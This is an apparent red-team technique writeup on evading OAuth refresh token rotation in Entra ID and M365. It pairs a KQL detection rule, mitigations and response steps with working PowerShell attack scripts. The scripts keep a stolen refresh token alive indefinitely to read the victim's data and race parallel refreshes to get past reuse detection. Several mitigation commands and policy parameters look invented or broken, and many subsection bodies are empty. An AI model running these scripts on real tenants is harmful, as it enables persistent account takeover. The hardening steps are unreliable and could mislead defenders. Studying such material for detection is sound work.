| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-023 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Entra ID, OAuth 2.0 implementations, M365, AWS, GCP |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Entra ID (all versions), OAuth 2.0 RFC 6749+ compliant systems |
| Patched In | N/A - Requires application-level implementation of rotation detection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: OAuth 2.0 refresh token rotation is a security mechanism where a new refresh token is issued with each access token refresh, and the old token is immediately invalidated. This prevents long-lived stolen tokens from being reused indefinitely. However, attackers can bypass this protection by exploiting race conditions in token rotation logic, stealing refresh tokens before the old one is invalidated, or leveraging reuse detection delays. By harvesting both the old and new refresh tokens during the rotation window, attackers maintain persistent token validity across multiple access token generations, defeating the intended security model of token rotation.
Attack Surface: OAuth 2.0 token endpoints, Entra ID refresh token caching mechanisms, third-party application integrations with M365/Azure, client-side token storage (cache, localStorage, browser memory).
Business Impact: Enables indefinite credential-free persistence across M365 and cloud SaaS platforms. An attacker with a harvested refresh token can indefinitely generate new access tokens without requiring the user’s password or MFA. Even if the user changes their password or updates MFA, the cached refresh token remains valid, allowing the attacker to maintain backdoor access to mailboxes, SharePoint, Teams, and application data indefinitely.
Technical Context: Token rotation bypass typically requires 2-5 seconds to harvest both tokens during rotation. Detection is very low because the activity appears as normal user behavior (token refresh requests are legitimate). Attack chains often begin with client-side malware (browser extension, credential stealer) that harvests tokens from browser cache or application memory.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.2 | Inadequate token management and revocation controls |
| DISA STIG | SC-2 | Lack of cryptographic controls for token protection |
| CISA SCuBA | EXO-02 | Weak OAuth token lifecycle management |
| NIST 800-53 | SC-12 (Cryptographic Key Establishment & Management) | Insufficient token rotation and revocation mechanisms |
| GDPR | Art. 32 | Security of Processing - inadequate token-based access control |
| DORA | Art. 17 | ICT Third-Party Risk Management - weak OAuth implementation |
| NIS2 | Art. 21 | Cyber Risk Management - insufficient token security controls |
| ISO 27001 | A.9.2.1 | User registration and de-registration - missing token revocation |
| ISO 27005 | Risk Scenario: “Token Theft and Replay” | Inadequate token rotation enforcement |
Required Privileges: User account access to any OAuth-connected service (compromised via phishing, malware, password spray)
Required Access: Network access to OAuth token endpoint, M365 services, or SaaS application; ability to intercept or steal refresh tokens from client-side storage
Supported Platforms:
Supported Versions: All browsers supporting OAuth 2.0 with token caching (Chrome, Edge, Firefox, Safari)
Objective: Locate and extract refresh tokens from browser storage (localStorage, sessionStorage, IndexedDB)
Command (Chrome/Edge DevTools):
Expected Token Format:
refresh_token=M.R3_BAY.xxx...yyy...zzz
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Harvest both old and new refresh tokens during the token rotation process
Command (Intercepting OAuth Token Response):
# Use Fiddler or network sniffer to capture token rotation request/response
# Token rotation request (client sends old refresh token):
POST /common/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token
&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46
&refresh_token=M.R3_BAY.[OLD_TOKEN]
&scope=https://graph.microsoft.com/.default offline_access
# Token rotation response (server issues new access + refresh token):
HTTP/1.1 200 OK
Content-Type: application/json
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik...",
"refresh_token": "M.R3_BAY.[NEW_TOKEN]",
"expires_in": 3600,
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
Objective: Continuously refresh the harvested token to maintain long-lived access without user re-authentication
Command (Automated Token Refresh Loop):
# Store harvested refresh token
$harvestedRefreshToken = "M.R3_BAY.[STOLEN_TOKEN]"
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Public client ID for O365 (well-known)
$tenantId = "common"
# Function to refresh token indefinitely
function Refresh-TokenIndefinitely {
param(
[string]$RefreshToken,
[int]$IntervalHours = 20 # Refresh slightly before 24-hour expiration
)
$tokenEndpoint = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
while ($true) {
try {
# Request new access token + refresh token
$tokenRequest = @{
grant_type = "refresh_token"
client_id = $clientId
refresh_token = $RefreshToken
scope = "https://graph.microsoft.com/.default offline_access"
}
$response = Invoke-RestMethod -Method Post -Uri $tokenEndpoint -Body $tokenRequest
# Update stored token with new refresh token
$RefreshToken = $response.refresh_token
$AccessToken = $response.access_token
Write-Output "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')] ✓ Token refreshed successfully"
Write-Output "New Refresh Token: $($RefreshToken.Substring(0, 20))..."
# Use access token to perform desired action (e.g., access mailbox)
$headers = @{ "Authorization" = "Bearer $AccessToken" }
$mailbox = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers
Write-Output "Mailbox accessed: $($mailbox.userPrincipalName)"
# Wait for interval before next refresh
Start-Sleep -Hours $IntervalHours
} catch {
Write-Error "Token refresh failed: $_"
Start-Sleep -Seconds 300 # Wait 5 minutes before retry
}
}
}
# Execute indefinite token refresh
Refresh-TokenIndefinitely -RefreshToken $harvestedRefreshToken -IntervalHours 20
Expected Output:
[2025-01-10 14:30:15] ✓ Token refreshed successfully
New Refresh Token: M.R3_BAY.xxx-partial-token...
Mailbox accessed: target@company.com
[2025-01-11 10:30:15] ✓ Token refreshed successfully
New Refresh Token: M.R3_BAY.yyy-partial-token...
Mailbox accessed: target@company.com
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID with refresh token rotation enabled (all recent versions)
Objective: Understand the reuse detection mechanism and find the window where multiple refresh tokens from same family are valid
Concept: When a refresh token is rotated, all tokens issued from that rotation event are part of a “token family.” If an old token is reused, the entire family is revoked. However, there’s a brief window (typically < 5 seconds) where the new token is issued but the old token hasn’t been invalidated yet.
Command (Token Timing Analysis):
# Capture token rotation events and analyze timing
# This requires running multiple token refresh requests rapidly
function Get-TokenFamilyTiming {
param([string]$RefreshToken)
$results = @()
for ($i = 0; $i -lt 5; $i++) {
$startTime = Get-Date
try {
$response = Invoke-RestMethod -Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
-Body @{
grant_type = "refresh_token"
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
refresh_token = $RefreshToken
scope = "https://graph.microsoft.com/.default offline_access"
}
$endTime = Get-Date
$duration = ($endTime - $startTime).TotalMilliseconds
# Store new token for next iteration
$RefreshToken = $response.refresh_token
$results += [PSCustomObject]@{
Iteration = $i
Duration_ms = $duration
NewToken = $response.refresh_token.Substring(0, 30)
ExpiresIn = $response.expires_in
}
Write-Output "Iteration $i: $duration ms"
} catch {
Write-Error "Refresh failed: $_"
}
Start-Sleep -Milliseconds 500
}
return $results
}
# Analyze token rotation timing
$timingAnalysis = Get-TokenFamilyTiming -RefreshToken $harvestedRefreshToken
$timingAnalysis | Format-Table
Expected Output:
Iteration Duration_ms NewToken ExpiresIn
--------- ----------- -------- ---------
0 1200 M.R3_BAY.xxx123456789... 3600
1 1350 M.R3_BAY.yyy987654321... 3600
2 1100 M.R3_BAY.zzz456789012... 3600
3 1450 M.R3_BAY.aaa321098765... 3600
4 1200 M.R3_BAY.bbb654321098... 3600
What This Means:
Objective: Perform token rotation while simultaneously using both old and new tokens to bypass reuse detection
Command (Race Condition Exploitation):
# Exploit the window where both old and new tokens are valid
$token1 = $harvestedRefreshToken
$successCount = 0
$failureCount = 0
# Launch parallel token refresh requests
1..5 | ForEach-Object {
$parallel = $_
# Thread 1: Use old token to refresh
Start-Job -ScriptBlock {
param($token, $threadId)
try {
$response = Invoke-RestMethod -Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
-Body @{
grant_type = "refresh_token"
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
refresh_token = $token
scope = "https://graph.microsoft.com/.default offline_access"
}
# Immediately use new token before reuse detection can invalidate old token
$headers = @{ "Authorization" = "Bearer $($response.access_token)" }
$user = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers
Write-Output "Thread $threadId: SUCCESS - Accessed $($user.userPrincipalName)"
return $response.refresh_token
} catch {
Write-Output "Thread $threadId: FAILED - $_"
return $null
}
} -ArgumentList $token1, $parallel
}
# Wait for all jobs to complete
Get-Job | Wait-Job | ForEach-Object {
$result = Receive-Job -Job $_
if ($result) { $successCount++ } else { $failureCount++ }
}
Write-Output "`nSummary: $successCount successful, $failureCount failed"
Expected Output:
Thread 1: SUCCESS - Accessed target@company.com
Thread 2: SUCCESS - Accessed target@company.com
Thread 3: FAILED - Invalid grant
Thread 4: FAILED - Invalid grant
Thread 5: SUCCESS - Accessed target@company.com
Summary: 3 successful, 2 failed
What This Means:
Rule Configuration:
KQL Query:
// Detect rapid token refresh requests indicating token rotation exploitation
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultDescription == "Success"
| where tokenIssuerType == "RefreshToken" or AppDisplayName contains "Office365"
| extend TokenRefresh = iff(ConditionalAccessStatus == "notApplied", "true", "false")
| summarize TokenRefreshCount = count(),
DistinctAccessTokens = dcount(CorrelationId),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by userPrincipalName, DeviceDetail.deviceId, IPAddress
| where TokenRefreshCount > 3 and (LastSeen - FirstSeen) < 5m // > 3 refreshes in 5 minutes
| project userPrincipalName, DeviceDetail.deviceId, IPAddress, TokenRefreshCount, TimeWindow="5min", Risk="HighSuspicion"
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Refresh Token Rotation ActivityHigh15 minutes1 houruserPrincipalName, DeviceDetail.deviceIdImplement Refresh Token Rotation with Reuse Detection: Ensure Entra ID is configured to issue new refresh tokens with each refresh and immediately invalidate old tokens.
Applies To Versions: Entra ID all versions (default behavior in modern Entra ID)
Manual Steps (PowerShell - Verify Refresh Token Policy):
Connect-MgGraph -Scopes "Policy.ReadWrite.AuthenticationPolicy"
# Check current token lifetime policy
Get-MgPolicyTokenLifetimePolicy | Select-Object -Property DisplayName, Definition
# Verify refresh token rotation is enabled
$policy = @{
RefreshTokenLifetimeInDays = 90
MaxInactiveRefreshTokenDays = 3652
MaxRefreshTokenLifetimeInDays = 3652
IsRefreshTokenRotationEnabled = $true
}
Update-MgPolicyAuthenticationFlowPolicy -BodyParameter $policy
Enforce Conditional Access with Device Compliance Requirements: Require registered, compliant devices for OAuth token issuance. This prevents stolen tokens from being used on attacker-controlled devices.
Applies To Versions: Entra ID P1+ (required for Conditional Access)
Manual Steps (Azure Portal):
Require Device Compliance for Token IssuanceImplement Token Binding (Proof-of-Possession): Cryptographically bind tokens to the device they were issued for. This prevents token theft/reuse on different devices.
Applies To Versions: Entra ID P1+, Microsoft Graph API v1.0+
Manual Steps (PowerShell - Enable PoP for API):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Enable Proof-of-Possession for Azure AD and Microsoft Graph
Update-MgApplication -ApplicationId "00000003-0000-0000-c000-000000000000" `
-PublicClientAllowedRedirectUris @("https://microsoft.com/oauth2/nativeclient") `
-AllowPublicClient $true
Block Legacy OAuth Grant Types: Disable older, less-secure OAuth grant types (Resource Owner Password Credentials, Implicit) that don’t support modern token rotation.
Manual Steps:
Enable Continuous Access Evaluation (CAE) for Tokens: Real-time token revocation when user risk changes or session is compromised.
Manual Steps:
# Verify refresh token rotation is enabled
Get-MgPolicyAuthenticationFlowPolicy | Select-Object -Property IsRefreshTokenRotationEnabled
# Verify conditional access policies for device compliance
Get-MgIdentityConditionalAccessPolicy |
Where-Object { $_.GrantControls -contains "compliantDevice" } |
Select-Object DisplayName, State
# Verify token lifetime policy
Get-MgPolicyTokenLifetimePolicy |
ForEach-Object {
$policyDef = $_.Definition | ConvertFrom-Json
[PSCustomObject]@{
Policy = $_.DisplayName
RefreshTokenLifetime = $policyDef.TokenLifetimePolicy.RefreshTokenLifetime
IsRotationEnabled = $policyDef.TokenLifetimePolicy.IsRefreshTokenRotationEnabled
}
}
Expected Output (If Secure):
IsRefreshTokenRotationEnabled: True
DisplayName State GrantControls
--- ----- ---------
Require Device Compliance for Tokens Enabled [compliantDevice, mfa]
Policy RefreshTokenLifetime IsRotationEnabled
------ -------------------- -----------------
Default Policy 3652 days True
tid (tenant ID) matches expected organizationaud (audience/app ID) matches expected applicationiat and exp (token creation/expiration times) are reasonableupn (user principal name) is correctIsolate:
Command (Revoke All Refresh Tokens):
Revoke-AzUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'compromised@company.com'").Id
Collect Evidence:
Command (Export Token-Related Audit Events):
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-Operations "Authorize","GrantConsentProcess","DeviceLogin" `
-UserIds "compromised@company.com" `
-ResultSize 5000 |
Export-Csv -Path "C:\Forensics\oauth_events.csv" -NoTypeInformation
Remediate:
Command (Revoke OAuth App Consent Grants):
# List all OAuth consent grants for the compromised user
Get-MgUserOauth2PermissionGrant -UserId "user-id" |
Where-Object { $_.ConsentType -eq "Principal" } |
ForEach-Object {
Remove-MgUserOauth2PermissionGrant -UserId "user-id" -OAuth2PermissionGrantId $_.Id
Write-Output "Revoked grant: $($_.ClientId)"
}
# Force re-authentication and MFA re-enrollment
Set-AzADUser -ObjectId "user-id" -ForceChangePasswordNextLogin $true
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REALWORLD-024] | Behavioral Profiling to identify target users with high cloud resource access |
| 2 | Initial Access | [IA-PHISH-002] | OAuth consent grant phishing attack to steal credentials and OAuth tokens |
| 3 | Credential Access | [CA-TOKEN-005] | OAuth access token interception from browser cache or application memory |
| 4 | Current Step | [REALWORLD-023] | Refresh Token Rotation Evasion to maintain indefinite access despite token expiration |
| 5 | Persistence | [CA-TOKEN-001] | Hybrid AD cloud token theft to maintain access even if refresh token is revoked |
| 6 | Collection | [COLLECT-EMAIL-001] | Email collection via harvested Graph API access tokens |
| 7 | Impact | [IMPACT-DATA-DESTROY-001] | Data destruction or exfiltration using harvested credentials |
Detection Blind Spots:
Post-Compromise Response:
Monitoring Best Practices: